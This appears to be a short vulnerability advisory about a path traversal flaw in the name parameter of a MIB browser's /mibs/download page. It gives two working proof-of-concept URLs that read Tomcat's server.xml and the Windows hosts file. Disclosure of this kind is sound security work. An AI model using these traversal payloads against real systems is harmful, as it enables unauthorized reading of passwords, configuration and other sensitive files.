This vulnerability can be trigger via de name URL parameter of the /mib-browser/mibs/download page. An authenticated attacker can supply path traversal sequences to break out of the intended download directory and read files elsewhere on the file system. This allows the attacker to access sensitive files containing configuration data, passwords, database records, log data, source code, and program scripts and binaries.

The following URLs can be used to demonstrate this issue:

http://<target>:58080/mib-browser/mibs/download?name=..\..\..\..\Web-Servers\Tomcat\Default\conf\server.xml
http://<target>:58080/mib-browser/mibs/download?name=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\System32\drivers\etc\hosts
